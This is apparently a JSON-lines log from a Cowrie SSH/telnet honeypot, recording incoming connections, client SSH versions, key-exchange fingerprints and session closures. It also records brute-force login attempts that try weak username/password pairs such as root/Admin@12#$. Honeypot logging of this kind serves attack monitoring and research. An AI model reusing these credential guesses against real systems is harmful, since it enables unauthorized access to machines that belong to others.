{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:20.673137Z","src_ip":"80.94.92.184","session":"fe26db61cea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:21.335848Z","src_ip":"80.94.92.184","session":"fe26db61cea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:22.626732Z","src_ip":"80.94.92.184","session":"fe26db61cea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":42192,"dst_ip":"10.17.0.5","dst_port":22,"session":"4424de38453f","protocol":"ssh","message":"New connection: 186.13.24.118:42192 (10.17.0.5:22) [session: 4424de38453f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:26.076680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:26.081499Z","src_ip":"186.13.24.118","session":"4424de38453f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:26.249163Z","src_ip":"186.13.24.118","session":"4424de38453f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome!@","message":"login attempt [root/Welcome!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:26.948134Z","src_ip":"186.13.24.118","session":"4424de38453f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:28.116313Z","src_ip":"186.13.24.118","session":"4424de38453f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":44158,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a943ac20080","protocol":"ssh","message":"New connection: 13.71.92.229:44158 (10.17.0.5:22) [session: 8a943ac20080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:30.267551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:30.272862Z","src_ip":"13.71.92.229","session":"8a943ac20080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:30.499200Z","src_ip":"13.71.92.229","session":"8a943ac20080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"waldo","message":"login attempt [root/waldo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:31.428615Z","src_ip":"13.71.92.229","session":"8a943ac20080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":33000,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7a8c6f48edc","protocol":"ssh","message":"New connection: 20.193.250.100:33000 (10.17.0.5:22) [session: c7a8c6f48edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:32.513675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:32.518367Z","src_ip":"20.193.250.100","session":"c7a8c6f48edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:32.654064Z","src_ip":"13.71.92.229","session":"8a943ac20080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":34988,"dst_ip":"159.203.135.109","dst_port":22,"session":"de93316618b7","protocol":"ssh","message":"New connection: 62.54.176.203:34988 (159.203.135.109:22) [session: de93316618b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:32.687449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:32.692273Z","src_ip":"62.54.176.203","session":"de93316618b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:32.715326Z","src_ip":"20.193.250.100","session":"c7a8c6f48edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:32.792657Z","src_ip":"62.54.176.203","session":"de93316618b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"white","message":"login attempt [root/white] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:33.231988Z","src_ip":"62.54.176.203","session":"de93316618b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mis123","message":"login attempt [root/mis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:33.509279Z","src_ip":"20.193.250.100","session":"c7a8c6f48edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.67392373085022,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:33.833056Z","src_ip":"152.42.224.71","session":"e191be74b098","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:34.336112Z","src_ip":"62.54.176.203","session":"de93316618b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:34.701636Z","src_ip":"20.193.250.100","session":"c7a8c6f48edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.059569358825684,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:43.941329Z","src_ip":"152.42.224.71","session":"8eb3dff76aa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.65320372581482,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:44.936290Z","src_ip":"152.42.224.71","session":"b9d528a97e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450615167617798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:46.051181Z","src_ip":"152.42.224.71","session":"ea7fb3e0ba5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00209975242615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:47.065283Z","src_ip":"152.42.224.71","session":"1faa4d6752b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":57480,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcca818d5fe0","protocol":"ssh","message":"New connection: 82.152.132.24:57480 (159.203.135.109:22) [session: bcca818d5fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:48.935568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:48.941516Z","src_ip":"82.152.132.24","session":"bcca818d5fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:49.067939Z","src_ip":"82.152.132.24","session":"bcca818d5fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44968,"dst_ip":"10.17.0.5","dst_port":23,"session":"c21436b2f9be","protocol":"telnet","message":"New connection: 152.42.224.71:44968 (10.17.0.5:23) [session: c21436b2f9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:49.297197Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@12#$","message":"login attempt [root/Admin@12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:49.602065Z","src_ip":"82.152.132.24","session":"bcca818d5fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":52522,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f9fe25ce4aa","protocol":"ssh","message":"New connection: 45.132.125.41:52522 (159.203.135.109:22) [session: 4f9fe25ce4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:50.151294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:50.155622Z","src_ip":"45.132.125.41","session":"4f9fe25ce4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:50.256552Z","src_ip":"45.132.125.41","session":"4f9fe25ce4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:50.692067Z","src_ip":"45.132.125.41","session":"4f9fe25ce4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:50.730574Z","src_ip":"82.152.132.24","session":"bcca818d5fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45186,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c6b37780197","protocol":"ssh","message":"New connection: 176.65.132.129:45186 (159.203.135.109:22) [session: 4c6b37780197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:50.841474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:50.855334Z","src_ip":"176.65.132.129","session":"4c6b37780197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:50.941675Z","src_ip":"176.65.132.129","session":"4c6b37780197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:51.242680Z","src_ip":"176.65.132.129","session":"4c6b37780197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:51.796262Z","src_ip":"45.132.125.41","session":"4f9fe25ce4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:52.326524Z","src_ip":"176.65.132.129","session":"4c6b37780197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44984,"dst_ip":"10.17.0.5","dst_port":23,"session":"684de41b9e00","protocol":"telnet","message":"New connection: 152.42.224.71:44984 (10.17.0.5:23) [session: 684de41b9e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:52.591612Z"}
{"eventid":"cowrie.session.closed","duration":48.56280589103699,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:52.731935Z","src_ip":"152.42.224.71","session":"dd6c6d802c76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.326855421066284,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:31:53.614929Z","src_ip":"152.42.224.71","session":"99ab878c9901","protocol":"telnet"}
